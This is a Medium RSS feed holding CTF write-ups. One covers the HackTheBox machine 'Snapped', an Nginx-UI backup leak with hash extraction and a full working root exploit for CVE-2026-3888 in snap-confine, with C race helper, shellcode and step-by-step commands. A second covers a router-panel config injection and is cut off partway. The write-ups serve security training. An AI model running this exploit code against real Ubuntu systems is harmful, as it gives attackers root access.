<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Player X on Medium]]></title>
        <description><![CDATA[Stories by Player X on Medium]]></description>
        <link>https://medium.com/@malik.abid2k5?source=rss-ebce262421ea------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*_UObpw7IfHRXHstW</url>
            <title>Stories by Player X on Medium</title>
            <link>https://medium.com/@malik.abid2k5?source=rss-ebce262421ea------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 00:10:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@malik.abid2k5/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Snapped HTB]]></title>
            <link>https://medium.com/@malik.abid2k5/snapped-htb-fefd2a0fe1d1?source=rss-ebce262421ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/fefd2a0fe1d1</guid>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[boot2root]]></category>
            <dc:creator><![CDATA[Player X]]></dc:creator>
            <pubDate>Tue, 25 Aug 2026 21:43:46 GMT</pubDate>
            <atom:updated>2026-08-25T21:43:46.033Z</atom:updated>
            <content:encoded><![CDATA[<p>Difficulty: HARD , OS: Linux</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZkYGPe0dGcnFBIul_1yT1A.png" /></figure><h3><strong>INITIAL FOOTHOLD</strong></h3><p>We start with the normal nmap enumeration:</p><pre>nmap -sV -p- &lt;ip&gt; --min-rate=5000 -Pn</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zi124hMuoxRNPgXbpkZneg.png" /></figure><p>Port 22 and Port 80.</p><p>Lets enumerate the web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T_M9X--U2NQRDbc_ZNtyqA.png" /></figure><p>Checked /robots.txt doesnot exists.</p><p>Nothing seems intresting lets do directory enumeration:</p><pre>ffuf -u http://snapped.htb/FUZZ -w /usr/share/wordlists/dirb/big.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JAC6fPwmvZ7VjV9QD7KGVw.png" /></figure><p>Lets enumerate vhosts:</p><pre> ffuf -u http://snapped.htb/ -H &quot;Host: FUZZ.snapped.htb&quot;  -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 154</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bd0g-fIMF4Uqwp-RaDmPlA.png" /></figure><p>We got a hit <strong>admin.snapped.htb</strong>. Lets add it to the /etc/hosts and enumerate it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZtoTkbXU3xRYUaUVa5tEcQ.png" /></figure><p>Lets try <strong>test:test </strong>credentials and observe the req and resp in burp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2pdEfiUjNsqG29_eNlUTOg.png" /></figure><p>We see a bunch of intresting requests lets analyze them carefully.</p><p>The Nginx version is disclosed 1.24 after searching we found 2 <strong>UNAUTHENTICATED Vulnerabilities:</strong><br><strong>Nginx-UI is Vulnerable to Unauthenticated Remote Code Execution via Backup Restore(/api/restore/)</strong></p><p><a href="https://github.com/advisories/GHSA-4pvg-prr3-9cxr">https://github.com/advisories/GHSA-4pvg-prr3-9cxr</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tDMOQkTjJTmHjlWEDPqpgA.png" /></figure><p>It is present.</p><p><strong>Unauthenticated Backup Download(/api/backup)</strong></p><p><a href="https://github.com/advisories/GHSA-g9w5-qffc-6762">https://github.com/advisories/GHSA-g9w5-qffc-6762</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*poJ2GC-hF6ywF2FwGPFO3g.png" /></figure><p>We got something here.</p><p>From the backup endpoint we installed the backup file + got the KEY+IV vector via X-Backup-Security.</p><p>Key:uXBxo82xyEW8RpBN+w/O6beuXhCg1ZdJvYUOx/TnHPk=</p><p>IV:P2U+jkcrvVgPENspKUKCmA==</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nZzDelTsovepafLZS4ZVSw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bCyiBeo111f9birxAVQyyg.png" /></figure><p>Unzip it and now we will use POC from <br><a href="https://github.com/advisories/GHSA-4pvg-prr3-9cxr">https://github.com/advisories/GHSA-4pvg-prr3-9cxr</a></p><p>to craft a malacious package and upload it to the Ngnix-UI and get the initial foothold.</p><p>Later on working on it i found it was not the intended way.</p><p>The intended way is to downlod the backup and keys extract the zips and decrypt it and then in the database there are 2 hashes crack them and we will get the initial foothold.</p><p><strong>Exploit Crafting:</strong></p><h3>1. Confirm the target and download the backup</h3><p>The admin panel is available at <a href="http://admin.snapped.htb./">http://admin.snapped.htb.</a> The endpoint /api/backup is reachable without authentication and returns a full encrypted backup.</p><pre>curl -sD headers.txt -o backup http://admin.snapped.htb/api/backup</pre><p>Relevant response headers:</p><pre>Content-Length: 18354<br>Content-Disposition: attachment; filename=backup-20260825-155344.zip<br>X-Backup-Security: tYvrHRY2cEuoB6e/QpzrMzDNxN4Xbs25VupK/heCjpw=:TIeKQoyFdYxY/UNRN5IJpw==</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qg6CvQnOEKoItAPioynIJQ.png" /></figure><p>The X-Backup-Security header contains the AES key and IV in the format base64(key):base64(iv).</p><h3>2. Extract the key and IV</h3><pre>TOKEN=$(grep -i &#39;^X-Backup-Security:&#39; headers.txt | cut -d&#39; &#39; -f2 | tr -d &#39;\r&#39;)<br>KEY_B64=&quot;${TOKEN%%:*}&quot;<br>IV_B64=&quot;${TOKEN#*:}&quot;</pre><pre>echo &quot;KEY_B64=$KEY_B64&quot;<br>echo &quot;IV_B64=$IV_B64&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1R1EX4AGCfzaKjL0EsYrZg.png" /></figure><p>Verify the lengths (AES-256 key = 32 bytes, IV = 16 bytes):</p><pre>echo -n &quot;$KEY_B64&quot; | base64 -d | wc -c   # 32<br>echo -n &quot;$IV_B64&quot;  | base64 -d | wc -c   # 16</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*zKuIYIeAQfdb7jSo1QPE7Q.png" /></figure><p>Convert them to hex for OpenSSL:</p><pre>KEY=$(printf &#39;%s&#39; &quot;$KEY_B64&quot; | base64 -d | xxd -p -c 256)<br>IV=$(printf &#39;%s&#39; &quot;$IV_B64&quot;  | base64 -d | xxd -p -c 256)</pre><h3>3. Unpack the outer ZIP and decrypt the components</h3><pre>mkdir backup_dir<br>unzip -q backup -d backup_dir<br>ls -l backup_dir</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*aN7O0O8gyDqVqV6ggXDAKA.png" /></figure><p>Contents:</p><ul><li>hash_info.txt (encrypted)</li><li>nginx-ui.zip (encrypted)</li><li>nginx.zip (encrypted)</li></ul><p>Decrypt all three files with AES-256-CBC:</p><pre>openssl enc -d -aes-256-cbc \<br>  -K &quot;$KEY&quot; -iv &quot;$IV&quot; \<br>  -in backup_dir/hash_info.txt \<br>  -out backup_dir/hash_info.decrypted</pre><pre>openssl enc -d -aes-256-cbc \<br>  -K &quot;$KEY&quot; -iv &quot;$IV&quot; \<br>  -in backup_dir/nginx-ui.zip \<br>  -out backup_dir/nginx-ui.decrypted.zip</pre><pre>openssl enc -d -aes-256-cbc \<br>  -K &quot;$KEY&quot; -iv &quot;$IV&quot; \<br>  -in backup_dir/nginx.zip \<br>  -out backup_dir/nginx.decrypted.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ku-iY6pHgvqGfSiJKfXi1A.png" /></figure><p>Inspect the hash metadata:</p><pre>cat backup_dir/hash_info.decrypted</pre><pre>nginx-ui_hash: 4d90d3399ad9406d98d393471bc7d0530409bbe3de36b58307e6a6a39eed88b1<br>nginx_hash: f00b2c76bf2b39ebeb5c812a9335ac262bdc09ccc520086e64e2463c12a90349<br>timestamp: 20260825-155344<br>version: 2.3.2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*XoDrTgO7YqRpsbbUUJqmKg.png" /></figure><h3>4. Extract the Nginx-UI configuration and database</h3><pre>unzip -l backup_dir/nginx-ui.decrypted.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*_FsBFuODB7dxIjdbpshYXg.png" /></figure><p>The archive contains:</p><ul><li>app.ini</li><li>database.db</li></ul><p>Extract them:</p><pre>mkdir -p nginx-ui-extracted<br>unzip -o backup_dir/nginx-ui.decrypted.zip -d nginx-ui-extracted<br>ls -l nginx-ui-extracted</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*SUdWzeEz7D-yZm2kKAWPEA.png" /></figure><h3>5. Extract the password hashes from SQLite</h3><pre>sqlite3 nginx-ui-extracted/database.db \<br>  &quot;SELECT id, name, password FROM users;&quot;</pre><p>or with headers for readability:</p><pre>sqlite3 nginx-ui-extracted/database.db \<br>  &quot;.headers on&quot; &quot;.mode column&quot; \<br>  &quot;SELECT id, name, password FROM users;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*04AFpXoA1DglZcSph4kk-w.png" /></figure><p>You obtain two bcrypt hashes:</p><ul><li>One belonging to the admin account</li><li>One belonging to the jonathan account</li></ul><p>These hashes can now be fed directly into hashcat (mode 3200) or John the Ripper for offline cracking.</p><pre>1|admin|$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm<br>2|jonathan|$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-5oJDSjuRAdhu_xfPf5W2w.png" /></figure><p>We got initial credentials:</p><pre>ssh jonathan@snapped.htb<br>Password:linkinpark</pre><p>Lets get user.txt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SHXTledCuKgPhajHhvFk-A.png" /></figure><h3><strong>PRIVILEGE ESCLATION</strong></h3><p>After enumeration we found the PE vector it was snap:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*ryagubdaT9qPdbFGZN8Gag.png" /></figure><p>Vulnerable to:</p><p><strong>CVE-2026–3888 (Local Privilege Escalation):</strong></p><ul><li>A time-of-check to time-of-use (TOCTOU) race condition exists between snap-confine and systemd-tmpfiles.</li><li>Local attackers can recreate a private /tmp directory used by Snap when the cleanup daemon removes it.</li><li>This allows unprivileged users to gain full root privileges on default Ubuntu 24.04 installations.</li></ul><p>Userfull Resources: <a href="https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE">https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE</a></p><p><strong>Privilege Escalation — CVE-2026–3888</strong><br> <em>(snap-confine + systemd-tmpfiles TOCTOU Race Condition)</em></p><h3>Vulnerability Overview</h3><p>snap-confine is a SUID-root binary that constructs the mount namespace for every snap. During this process it creates a temporary “mimic” directory under /tmp/.snap so it can turn read-only host directories into writable mount points inside the sandbox.</p><p>Ubuntu’s systemd-tmpfiles periodically deletes stale content in /tmp. On this machine the cleanup window has been deliberately shortened:</p><pre>systemctl cat systemd-tmpfiles-clean.timer<br># OnBootSec=1m<br># OnUnitActiveSec=1m</pre><pre>cat /usr/lib/tmpfiles.d/tmp.conf<br># D /tmp 1777 root root 4m</pre><p>When /tmp/.snap is deleted, an unprivileged user can recreate it (because /tmp is world-writable). The next time snap-confine runs it trusts the attacker-owned directory and bind-mounts its contents <strong>as root</strong>.</p><p>By replacing ld-linux-x86–64.so.2 (the dynamic linker) with shellcode we can hijack any SUID binary executed inside that namespace.</p><h3>Required Components</h3><p>Two small C programs are needed.</p><h4>1. Race Helper — firefox_2404.c</h4><pre>#define _GNU_SOURCE<br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;fcntl.h&gt;<br>#include &lt;dirent.h&gt;<br>#include &lt;sys/stat.h&gt;<br>#include &lt;sys/socket.h&gt;<br>#include &lt;sys/wait.h&gt;<br>#include &lt;sys/syscall.h&gt;<br>#include &lt;errno.h&gt;</pre><pre>#define SNAP_CONFINE &quot;/usr/lib/snapd/snap-confine&quot;<br>#define EXCHANGE_SRC &quot;.snap/usr/lib/x86_64-linux-gnu.exchange&quot;<br>#define EXCHANGE_DST &quot;.snap/usr/lib/x86_64-linux-gnu&quot;<br>#define REAL_LIBDIR  &quot;/snap/core22/current/usr/lib/x86_64-linux-gnu&quot;<br>#define TRIGGER      &quot;dir:\&quot;/tmp/.snap/usr/lib/x86_64-linux-gnu\&quot;&quot;</pre><pre>static int copy_file(const char *src, const char *dst) {<br>    int fds = open(src, O_RDONLY);<br>    if (fds &lt; 0) return -1;<br>    int fdd = open(dst, O_WRONLY | O_CREAT | O_TRUNC, 0755);<br>    if (fdd &lt; 0) { close(fds); return -1; }<br>    char buf[65536];<br>    ssize_t n;<br>    while ((n = read(fds, buf, sizeof(buf))) &gt; 0)<br>        write(fdd, buf, n);<br>    close(fds);<br>    close(fdd);<br>    return 0;<br>}</pre><pre>static int setup_snap_and_exchange(const char *payload_so) {<br>    mkdir(&quot;.snap&quot;, 0755);<br>    mkdir(&quot;.snap/usr&quot;, 0755);<br>    mkdir(&quot;.snap/usr/lib&quot;, 0755);<br>    mkdir(&quot;.snap/usr/local&quot;, 0755);<br>    mkdir(&quot;.snap/snap&quot;, 0755);<br>    mkdir(&quot;.snap/snap/firefox&quot;, 0755);</pre><pre>    DIR *d = opendir(&quot;/snap/firefox&quot;);<br>    if (d) {<br>        struct dirent *ent;<br>        while ((ent = readdir(d)) != NULL) {<br>            if (ent-&gt;d_name[0] != &#39;.&#39; &amp;&amp; strcmp(ent-&gt;d_name, &quot;current&quot;) != 0) {<br>                char p[512];<br>                snprintf(p, sizeof(p), &quot;.snap/snap/firefox/%s&quot;, ent-&gt;d_name);<br>                mkdir(p, 0755);<br>                snprintf(p, sizeof(p), &quot;.snap/snap/firefox/%s/data-dir&quot;, ent-&gt;d_name);<br>                mkdir(p, 0755);<br>            }<br>        }<br>        closedir(d);<br>    }</pre><pre>    mkdir(EXCHANGE_SRC, 0755);<br>    d = opendir(REAL_LIBDIR);<br>    if (!d) {<br>        perror(&quot;opendir real libdir&quot;);<br>        return -1;<br>    }</pre><pre>    int count = 0;<br>    struct dirent *ent;<br>    while ((ent = readdir(d)) != NULL) {<br>        if (ent-&gt;d_name[0] == &#39;.&#39; &amp;&amp; (ent-&gt;d_name[1] == &#39;\0&#39; ||<br>            (ent-&gt;d_name[1] == &#39;.&#39; &amp;&amp; ent-&gt;d_name[2] == &#39;\0&#39;)))<br>            continue;</pre><pre>        char src[4096], dst[4096];<br>        snprintf(src, sizeof(src), &quot;%s/%s&quot;, REAL_LIBDIR, ent-&gt;d_name);<br>        snprintf(dst, sizeof(dst), &quot;%s/%s&quot;, EXCHANGE_SRC, ent-&gt;d_name);</pre><pre>        struct stat st;<br>        if (lstat(src, &amp;st) &lt; 0) continue;</pre><pre>        if (S_ISDIR(st.st_mode)) {<br>            mkdir(dst, 0755);<br>        } else if (S_ISLNK(st.st_mode)) {<br>            char link[4096];<br>            ssize_t len = readlink(src, link, sizeof(link) - 1);<br>            if (len &gt; 0) {<br>                link[len] = &#39;\0&#39;;<br>                symlink(link, dst);<br>            }<br>        } else {<br>            copy_file(src, dst);<br>        }<br>        count++;<br>    }<br>    closedir(d);<br>    printf(&quot;[*] Exchange dir ready: %d entries in %s\n&quot;, count, EXCHANGE_SRC);<br>    return 0;<br>}</pre><pre>static int create_stderr_socket(int *read_fd, int *write_fd) {<br>    int sv[2];<br>    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) &lt; 0) {<br>        perror(&quot;socketpair&quot;);<br>        return -1;<br>    }<br>    int bufsize = 1;<br>    setsockopt(sv[0], SOL_SOCKET, SO_RCVBUF, &amp;bufsize, sizeof(bufsize));<br>    setsockopt(sv[0], SOL_SOCKET, SO_SNDBUF, &amp;bufsize, sizeof(bufsize));<br>    setsockopt(sv[1], SOL_SOCKET, SO_RCVBUF, &amp;bufsize, sizeof(bufsize));<br>    setsockopt(sv[1], SOL_SOCKET, SO_SNDBUF, &amp;bufsize, sizeof(bufsize));<br>    *read_fd = sv[0];<br>    *write_fd = sv[1];<br>    return 0;<br>}</pre><pre>static int run_and_race(void) {<br>    int read_fd, write_fd;<br>    if (create_stderr_socket(&amp;read_fd, &amp;write_fd) &lt; 0) return -1;</pre><pre>    pid_t pid = fork();<br>    if (pid &lt; 0) {<br>        perror(&quot;fork&quot;);<br>        return -1;<br>    }</pre><pre>    if (pid == 0) {<br>        close(read_fd);<br>        dup2(write_fd, STDERR_FILENO);<br>        close(write_fd);<br>        clearenv();<br>        setenv(&quot;SNAPD_DEBUG&quot;, &quot;1&quot;, 1);<br>        setenv(&quot;SNAP_INSTANCE_NAME&quot;, &quot;firefox&quot;, 1);<br>        execl(SNAP_CONFINE, &quot;snap-confine&quot;,<br>              &quot;--base&quot;, &quot;core22&quot;,<br>              &quot;snap.firefox.hook.configure&quot;,<br>              &quot;/bin/sh&quot;, &quot;-c&quot;,<br>              &quot;echo $$ &gt; /tmp/race_pid.txt; &quot;<br>              &quot;stat -c &#39;%U:%G %a&#39; /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 &quot;<br>              &quot;&gt; /tmp/race_perms.txt 2&gt;&amp;1; &quot;<br>              &quot;sleep 99994&quot;,<br>              NULL);<br>        _exit(1);<br>    }</pre><pre>    close(write_fd);<br>    char ringbuf[4096];<br>    int ringpos = 0;<br>    memset(ringbuf, 0, sizeof(ringbuf));<br>    int tlen = strlen(TRIGGER);<br>    char byte;<br>    ssize_t n;<br>    int swapped = 0;</pre><pre>    printf(&quot;[*] Reading snap-confine output (PID %d)...\n&quot;, pid);<br>    while ((n = read(read_fd, &amp;byte, 1)) &gt; 0) {<br>        write(STDOUT_FILENO, &amp;byte, 1);<br>        ringbuf[ringpos % sizeof(ringbuf)] = byte;<br>        ringpos++;</pre><pre>        if (!swapped &amp;&amp; ringpos &gt;= tlen) {<br>            char check[512];<br>            for (int i = 0; i &lt; tlen &amp;&amp; i &lt; (int)sizeof(check) - 1; i++)<br>                check[i] = ringbuf[(ringpos - tlen + i) % sizeof(ringbuf)];<br>            check[tlen] = &#39;\0&#39;;</pre><pre>            if (strstr(check, TRIGGER)) {<br>                printf(&quot;\n[!] TRIGGER DETECTED! Swapping .exchange...\n&quot;);<br>#ifndef RENAME_EXCHANGE<br>#define RENAME_EXCHANGE (1 &lt;&lt; 1)<br>#endif<br>                if (syscall(SYS_renameat2, AT_FDCWD, EXCHANGE_DST,<br>                            AT_FDCWD, EXCHANGE_SRC, RENAME_EXCHANGE) == 0) {<br>                    /* atomic swap succeeded */<br>                } else {<br>                    rename(EXCHANGE_DST, &quot;.snap/usr/lib/x86_64-linux-gnu.orig&quot;);<br>                    rename(EXCHANGE_SRC, EXCHANGE_DST);<br>                }<br>                swapped = 1;<br>                printf(&quot;[+] SWAP DONE! Race won.\n&quot;);<br>                printf(&quot;[*] Do NOT close this terminal.\n&quot;);<br>            }<br>        }<br>    }<br>    close(read_fd);<br>    int status;<br>    waitpid(pid, &amp;status, 0);</pre><pre>    if (swapped)<br>        printf(&quot;[+] Race won! Our libraries are in the namespace.\n&quot;);<br>    else<br>        printf(&quot;[-] Trigger not detected. Race lost.\n&quot;);<br>    return swapped ? 0 : -1;<br>}</pre><pre>int main(int argc, char *argv[]) {<br>    if (argc &lt; 2) {<br>        fprintf(stderr, &quot;Usage: %s &lt;payload.so&gt;\n&quot;, argv[0]);<br>        return 1;<br>    }<br>    printf(&quot;[*] CVE-2026-3888 — firefox 24.04 helper\n&quot;);<br>    printf(&quot;[*] CWD: &quot;);<br>    fflush(stdout);<br>    system(&quot;pwd&quot;);<br>    printf(&quot;[*] Setting up .snap and .exchange directory...\n&quot;);<br>    if (setup_snap_and_exchange(argv[1]) &lt; 0) return 1;<br>    printf(&quot;[*] Starting race against snap-confine...\n&quot;);<br>    if (run_and_race() &lt; 0) return 1;<br>    printf(&quot;[+] Done. Re-enter sandbox to exploit.\n&quot;);<br>    return 0;<br>}</pre><h4>2. Payload — librootshell.c</h4><pre>void _start(void) {<br>    /* setreuid(0, 0) */<br>    __asm__ volatile (<br>        &quot;xor %%rdi, %%rdi\n&quot;<br>        &quot;xor %%rsi, %%rsi\n&quot;<br>        &quot;mov $0x71, %%rax\n&quot;<br>        &quot;syscall\n&quot;<br>        ::: &quot;rax&quot;, &quot;rdi&quot;, &quot;rsi&quot;<br>    );<br>    /* setregid(0, 0) */<br>    __asm__ volatile (<br>        &quot;xor %%rdi, %%rdi\n&quot;<br>        &quot;xor %%rsi, %%rsi\n&quot;<br>        &quot;mov $0x72, %%rax\n&quot;<br>        &quot;syscall\n&quot;<br>        ::: &quot;rax&quot;, &quot;rdi&quot;, &quot;rsi&quot;<br>    );<br>    /* execve(&quot;/tmp/sh&quot;, {&quot;/tmp/sh&quot;, NULL}, NULL) */<br>    __asm__ volatile (<br>        &quot;mov $0x68732f706d742f, %%rax\n&quot;<br>        &quot;push %%rax\n&quot;<br>        &quot;mov %%rsp, %%rdi\n&quot;<br>        &quot;push $0\n&quot;<br>        &quot;push %%rdi\n&quot;<br>        &quot;mov %%rsp, %%rsi\n&quot;<br>        &quot;xor %%rdx, %%rdx\n&quot;<br>        &quot;mov $0x3b, %%rax\n&quot;<br>        &quot;syscall\n&quot;<br>        ::: &quot;rax&quot;, &quot;rdi&quot;, &quot;rsi&quot;, &quot;rdx&quot;<br>    );<br>}</pre><h3>Compilation (on Kali)</h3><pre>gcc -O2 -static -o firefox_2404 firefox_2404.c<br>gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell.c</pre><p>Transfer both binaries to the target (recommended location: /tmp).</p><h3>Exploitation Steps (3 Terminals)</h3><p><strong>Terminal 1 — Enter the Firefox sandbox and wait for cleanup</strong></p><pre>env -i SNAP_INSTANCE_NAME=firefox \<br>  /usr/lib/snapd/snap-confine --base core22 \<br>  snap.firefox.hook.configure /bin/bash</pre><pre>cd /tmp<br>echo $$                    # note this PID (example: 18606)</pre><pre># keep /tmp alive but let .snap become stale<br>while test -d ./.snap; do touch ./; sleep 1; done</pre><p>Leave this terminal open. After a few minutes the loop exits because systemd-tmpfiles has deleted .snap.</p><p><strong>Terminal 2 — Destroy the cached namespace and win the race</strong></p><pre>cd /proc/18606/cwd         # replace with the real PID from Terminal 1</pre><pre># tear down the cached mount namespace (the error is expected)<br>systemd-run --user --scope --unit=snap.d$(date +%s) /bin/bash<br>env -i SNAP_INSTANCE_NAME=firefox \<br>  /usr/lib/snapd/snap-confine --base snapd \<br>  snap.firefox.hook.configure /nonexistent</pre><pre># run the race helper from inside the sandbox’s /tmp<br>/tmp/firefox_2404 /tmp/librootshell.so</pre><p>Successful output ends with:</p><pre>[+] SWAP DONE! Race won.<br>[*] Do NOT close this terminal.</pre><p><strong>Keep Terminal 2 open</strong> — it holds the poisoned namespace alive.</p><p><strong>Terminal 3 — Overwrite the dynamic linker and obtain root</strong></p><pre>PID=$(cat /proc/&lt;pid from terminal 1&gt;/cwd/race_pid.txt)<br>echo &quot;Poison PID = $PID&quot;<br>cat /proc/18606/cwd/race_perms.txt<br># should show: jonathan:jonathan 755</pre><pre>cd /proc/$PID/root<br>stat -c &#39;%U:%G&#39; usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2<br># should show: jonathan:jonathan</pre><pre># plant a static shell and overwrite the linker<br>cp /usr/bin/busybox ./tmp/sh<br>chmod +x ./tmp/sh<br>cat /tmp/librootshell.so &gt; ./usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2</pre><pre># trigger the SUID binary – the kernel loads our shellcode as the interpreter<br>env -i SNAP_INSTANCE_NAME=firefox \<br>  /usr/lib/snapd/snap-confine --base core22 \<br>  snap.firefox.hook.configure /usr/lib/snapd/snap-confine</pre><p>You land in a <strong>BusyBox root shell</strong> inside the sandbox:</p><pre>/ # id<br>uid=0(root) gid=1000(jonathan) groups=1000(jonathan)</pre><h3>Sandbox Escape</h3><p>Still inside the BusyBox root shell:</p><pre>cp /bin/bash /var/snap/firefox/common/bash<br>chmod 04755 /var/snap/firefox/common/bash<br>exit</pre><p>From any normal shell outside the sandbox:</p><pre>/var/snap/firefox/common/bash -p<br>id<br># uid=1000(jonathan) gid=1000(jonathan) euid=0(root)</pre><pre>cat /root/root.txt</pre><h3>Technique Summary</h3><ol><li>Wait for systemd-tmpfiles to delete the root-owned /tmp/.snap.</li><li>Recreate it under attacker control.</li><li>Use AF_UNIX socket back-pressure to pause snap-confine after the first bind-mount.</li><li>Atomically swap the library directory → attacker-owned files are mounted as root.</li><li>Replace the dynamic linker with shellcode.</li><li>Execute any SUID binary → shellcode runs as root.</li><li>Drop a SUID bash into an AppArmor-writable location to escape the sandbox permanently.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fefd2a0fe1d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BrunRouter CTF Challenge — Full Technical Writeup]]></title>
            <link>https://medium.com/@malik.abid2k5/brunrouter-ctf-challenge-full-technical-writeup-02baf2b99292?source=rss-ebce262421ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/02baf2b99292</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[web]]></category>
            <dc:creator><![CDATA[Player X]]></dc:creator>
            <pubDate>Sun, 23 Aug 2026 16:25:50 GMT</pubDate>
            <atom:updated>2026-08-23T16:28:13.609Z</atom:updated>
            <content:encoded><![CDATA[<p>BrunRouter is a web-based management interface that mimics an OpenWrt-style router configuration panel. The challenge presents a realistic (and intentionally flawed) web UI that allows users to import/export configuration, manage firewall rules and includes, and commit changes. The ultimate goal is to achieve code execution and read a privileged flag using the helper binary /opt/flagreader/readflag.</p><p>This writeup documents the complete exploitation path in chronological order — exactly how the vulnerability was discovered and chained into a reliable flag read. The writeup is deliberately detailed so that readers can understand both the <em>what</em> and the <em>why</em> behind every step.</p><h3>Challenge Overview</h3><ul><li><strong>Type:</strong> Web / Configuration Injection / Command Execution</li></ul><p><strong>Key endpoints involved:</strong></p><ul><li>/backup/import — writes arbitrary content to /tmp/config</li><li>/config/firewall/pwninclude — creates or modifies a firewall include</li><li>/changes/commit — applies pending changes and triggers reloads</li><li>/backup/export — dumps the current configuration (useful for verification)</li><li>/static/ — publicly served directory (perfect for flag exfiltration)</li></ul><p>The core vulnerability is a classic “configuration file → command execution” chain that arises when a firewall include is pointed at an attacker-controlled file and then reloaded with the right options.</p><h3>Vulnerability Analysis</h3><h4>1. Arbitrary File Write via /backup/import</h4><p>The /backup/import endpoint accepts a raw text/plain body and writes it directly to /tmp/config. UCI (the OpenWrt configuration parser) later attempts to parse this file. Any non-UCI syntax produces a parse error, but <strong>the file is still written</strong>. This gives us a reliable way to plant content on the filesystem.</p><h4>2. Firewall Include Mechanism</h4><p>The endpoint /config/firewall/pwninclude allows creation of a named include (pwninclude) with the following options:</p><ul><li>path — absolute path of the file to include</li><li>reload — whether the include should be re-processed on commit</li><li>type — can be set to script (critical for execution)</li></ul><p>When an include has reload=1 and is later committed, the underlying firewall service re-evaluates the file. On many OpenWrt-derived systems, marking the include as type=script causes the <strong>first line</strong> of the file to be executed as a shell command.</p><h4>3. The Commit Trigger</h4><p>/changes/commit is the final trigger. It applies all pending UCI changes and forces any includes marked for reload to be processed. This is the moment the planted command actually runs.</p><h4>4. Exfiltration Strategy</h4><p>Because the process that executes the include has write access to the web root, the cleanest way to retrieve the flag is to write it into /opt/webui/static/flag.txt. This location is publicly served over HTTP, eliminating the need for reverse shells or temporary files that may not be accessible.</p><h3>Exploitation — Step by Step</h3><h4>Step 1: Plant the pwninclude</h4><p>We begin by creating a custom firewall include that points to /tmp/config and is marked for reload.</p><pre>curl -sk -X POST \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -d &#39;{&quot;values&quot;:{&quot;path&quot;:&quot;/tmp/config&quot;,&quot;reload&quot;:&quot;1&quot;},&quot;type&quot;:&quot;include&quot;}&#39; \<br>  &#39;https://link/config/firewall/pwninclude&#39;</pre><p><strong>Response:</strong></p><pre>{&quot;changes&quot;: {&quot;firewall&quot;: [&quot;firewall.pwninclude=&#39;include&#39;&quot;, &quot;firewall.pwninclude.path=&#39;/tmp/config&#39;&quot;, &quot;firewall.pwninclude.reload=&#39;1&#39;&quot;]}}</pre><p>Commit the change so the include becomes active:</p><pre>curl -sk -X POST \<br>  &#39;https://link/changes/commit&#39;</pre><p><strong>Response:</strong></p><pre>{&quot;changes&quot;: {}}</pre><p>At this point the include is registered in the running configuration.</p><h4>Step 2: Verify the 